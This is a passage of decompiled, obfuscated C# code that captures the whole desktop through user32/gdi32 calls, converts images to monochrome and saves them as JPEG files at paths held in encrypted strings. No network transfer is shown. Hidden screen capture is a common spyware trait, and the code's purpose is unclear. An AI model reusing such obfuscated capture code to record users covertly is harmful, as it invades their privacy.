Bitmap bitmap = (Bitmap) this.\u0002();
ImageCodecInfo imageCodecInfo = \u0002.\u0004.\u0002(\u0002.\u0004.\u0001(3066));
EncoderParameters encoderParameters = new EncoderParameters(1);
EncoderParameter encoderParameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 100L);
\u0008\u0005.\u007E\u008F\u0007((object) encoderParameters)[0] = encoderParameter;
\u009E\u0004.\u007E\u001A\u0007((object) bitmap, \u0099\u0002.\u009E\u0002(\u0002.\u000E, \u0002.\u0004.\u0001(1379), obj0, \u0002.\u0004.\u0001(2236)), imageCodecInfo, encoderParameters);
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
public Bitmap \u0002([In] Bitmap obj0)
{
Bitmap bitmap1;
try
{
Bitmap bitmap2;
if (\u0001\u0005.\u007E\u001F\u0007((object) obj0) != PixelFormat.Format32bppArgb)
{
bitmap2 = new Bitmap(\u001D\u0002.\u007E\u001B\u0007((object) obj0), \u001D\u0002.\u007E\u001C\u0007((object) obj0), PixelFormat.Format32bppArgb);
\u0005\u0005.\u007E\u0083\u0007((object) bitmap2, \u009F\u0004.\u007E\u001D\u0007((object) obj0), \u009F\u0004.\u007E\u001E\u0007((object) obj0));
Graphics graphics = \u0006\u0005.\u0084\u0007((Image) bitmap2);
try
{
\u0007\u0005.\u007E\u0086\u0007((object) graphics, (Image) obj0, 0, 0);
}
finally
{
if (graphics != null)
\u0001\u0002.\u007E\u0088\u0002((object) graphics);
}
}
else
bitmap2 = obj0;
\u0003\u0005 obj1 = \u0003\u0005.\u007E\u0081\u0007;
Bitmap bitmap3 = bitmap2;
Rectangle rectangle1 = new Rectangle(0, 0, \u001D\u0002.\u007E\u001B\u0007((object) bitmap2), \u001D\u0002.\u007E\u001C\u0007((object) bitmap2));
Rectangle rectangle2 = rectangle1;
BitmapData bitmapData1 = obj1((object) bitmap3, rectangle2, ImageLockMode.ReadOnly, PixelFormat.Format32bppArgb);
int num1 = checked (\u001D\u0002.\u007E\u008B\u0007((object) bitmapData1) * \u001D\u0002.\u007E\u008A\u0007((object) bitmapData1));
byte[] numArray1 = new byte[checked (num1 - 1 + 1)];
\u0002\u0004.\u0016\u0005(\u001C\u0002.\u007E\u008C\u0007((object) bitmapData1), numArray1, 0, num1);
\u0004\u0005.\u007E\u0082\u0007((object) bitmap2, bitmapData1);
Bitmap bitmap4 = new Bitmap(\u001D\u0002.\u007E\u001B\u0007((object) bitmap2), \u001D\u0002.\u007E\u001C\u0007((object) bitmap2), PixelFormat.Format1bppIndexed);
\u0003\u0005 obj2 = \u0003\u0005.\u007E\u0081\u0007;
Bitmap bitmap5 = bitmap4;
rectangle1 = new Rectangle(0, 0, \u001D\u0002.\u007E\u001B\u0007((object) bitmap4), \u001D\u0002.\u007E\u001C\u0007((object) bitmap4));
Rectangle rectangle3 = rectangle1;
BitmapData bitmapData2 = obj2((object) bitmap5, rectangle3, ImageLockMode.WriteOnly, PixelFormat.Format1bppIndexed);
int num2 = checked (\u001D\u0002.\u007E\u008B\u0007((object) bitmapData2) * \u001D\u0002.\u007E\u008A\u0007((object) bitmapData2));
byte[] numArray2 = new byte[checked (num2 - 1 + 1)];
int num3 = \u001D\u0002.\u007E\u001C\u0007((object) bitmap2);
int num4 = \u001D\u0002.\u007E\u001B\u0007((object) bitmap2);
int num5 = 500;
int num6 = checked (num3 - 1);
int num7 = 0;
while (num7 <= num6)
{
int num8 = checked (num7 * \u001D\u0002.\u007E\u008B\u0007((object) bitmapData1));
int index = checked (num7 * \u001D\u0002.\u007E\u008B\u0007((object) bitmapData2));
byte num9 = 0;
int num10 = 128;
int num11 = checked (num4 - 1);
int num12 = 0;
while (num12 <= num11)
{
if (checked (\u0007\u0003.\u001F\u0003(numArray1[num8 + 1]) + \u0007\u0003.\u001F\u0003(numArray1[num8 + 2]) + \u0007\u0003.\u001F\u0003(numArray1[num8 + 3])) > num5)
checked { num9 += \u0006\u0003.\u001E\u0003(num10); }
if (num10 == 1)
{
numArray2[index] = num9;
checked { ++index; }
num9 = (byte) 0;
num10 = 128;
}
else
num10 >>= 1;
checked { num8 += 4; }
checked { ++num12; }
}
if (num10 != 128)
numArray2[index] = num9;
checked { ++num7; }
}
\u0001\u0004.\u0015\u0005(numArray2, 0, \u001C\u0002.\u007E\u008C\u0007((object) bitmapData2), num2);
\u0004\u0005.\u007E\u0082\u0007((object) bitmap4, bitmapData2);
bitmap1 = bitmap4;
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
bitmap1 = (Bitmap) null;
\u0016\u0003.\u0001\u0007();
}
return bitmap1;
}
private static ImageCodecInfo \u0002([In] string obj0)
{
ImageCodecInfo[] imageCodecInfoArray = \u000E\u0005.\u0091\u0007();
int index = 0;
while (index < imageCodecInfoArray.Length)
{
if (\u008F\u0004.\u009D\u0006(\u0014\u0002.\u007E\u0090\u0007((object) imageCodecInfoArray[index]), obj0, false) == 0)
return imageCodecInfoArray[index];
int num = \u0084\u0003.\u0011\u0004(ref index);
}
return (ImageCodecInfo) null;
}
static \u0004() => \u0004.\u0002(typeof (\u0002.\u0004));
private sealed class \u0001
{
public int \u0001;
public \u0001() => this.\u0001 = 13369376;
[DllImport("gdi32.dll", EntryPoint = "BitBlt", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern int \u0002(
[In] IntPtr obj0,
[In] int obj1,
[In] int obj2,
[In] int obj3,
[In] int obj4,
[In] IntPtr obj5,
[In] int obj6,
[In] int obj7,
[In] int obj8);
[DllImport("gdi32.dll", EntryPoint = "CreateCompatibleBitmap", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern IntPtr \u0002([In] IntPtr obj0, [In] int obj1, [In] int obj2);
[DllImport("gdi32.dll", EntryPoint = "CreateCompatibleDC", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern IntPtr \u0002([In] IntPtr obj0);
[DllImport("gdi32.dll", EntryPoint = "DeleteDC", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern int \u0002([In] IntPtr obj0);
[DllImport("gdi32.dll", EntryPoint = "DeleteObject", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern int \u0003([In] IntPtr obj0);
[DllImport("gdi32.dll", EntryPoint = "SelectObject", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern IntPtr \u0002([In] IntPtr obj0, [In] IntPtr obj1);
}
public sealed class \u0002
{
[DllImport("user32.dll", EntryPoint = "GetDesktopWindow", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern IntPtr \u0002();
[DllImport("user32.dll", EntryPoint = "GetWindowDC", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern IntPtr \u0002([In] IntPtr obj0);
[DllImport("user32.dll", EntryPoint = "ReleaseDC", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern int \u0002([In] IntPtr obj0, [In] IntPtr obj1);
[DllImport("user32.dll", EntryPoint = "GetWindowRect", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern int \u0002([In] IntPtr obj0, [In] ref \u0002.\u0004.\u0002.\u0001 obj1);
public struct \u0001
{
public int \u0001;
public int \u0002;
public int \u0003;
public int \u0004;
}
}
}
}
}